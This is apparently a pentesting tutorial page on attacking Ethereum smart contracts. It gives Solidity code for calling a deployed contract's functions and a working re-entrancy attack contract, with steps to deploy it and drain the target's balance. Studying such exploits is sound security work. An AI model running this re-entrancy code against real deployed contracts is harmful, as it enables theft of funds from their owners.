Smart Contract Attack
Last modified: 2023-08-13
We can create custom contract for pentesting target smart contract.
Call External Contract Function
We can create a smart contract which can call the external function of the published contract if we have the source code of the contract.
For example, assume the target contract named "Victim" has already been published to Ethereum chain, then we can get the contract address and the source code. In thie situation, we can copy the source to our custom Solidity project and create the following Solidity file (e.g. Attack.sol
).
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
// Import a target external contract.
import {Victim} from "./Victim.sol";
contract Attack {
// Attack function
function callExternalFunc(address _addr, uint256 _param) public {
// Instantiate the target contract with the address.
Victim victim = Victim(_addr);
// We can call specific function of the external contract.
victim.someFunc(_param);
}
}
After compiling and deploying this contract, we can call callExternalFunc
function by giving the external contract address and arbitrary parameter.
Re-entrancy Attack
It’s a common vulnerability involving withdraw and deposit in Solidity.
For example, create “Attack.sol”.
pragma solidity ^0.8.10;
import './Target.sol';
contract Attack {
Target public target;
constructor(address _targetAddress) {
target = Target(_targetAddress);
}
fallback() external payable {
if (address(target).balance >= 1 ether) {
target.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
target.deposit{value: 1 ether}();
target.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
After compiling, deploy it and run attack
function to get balances by compromising the target contract.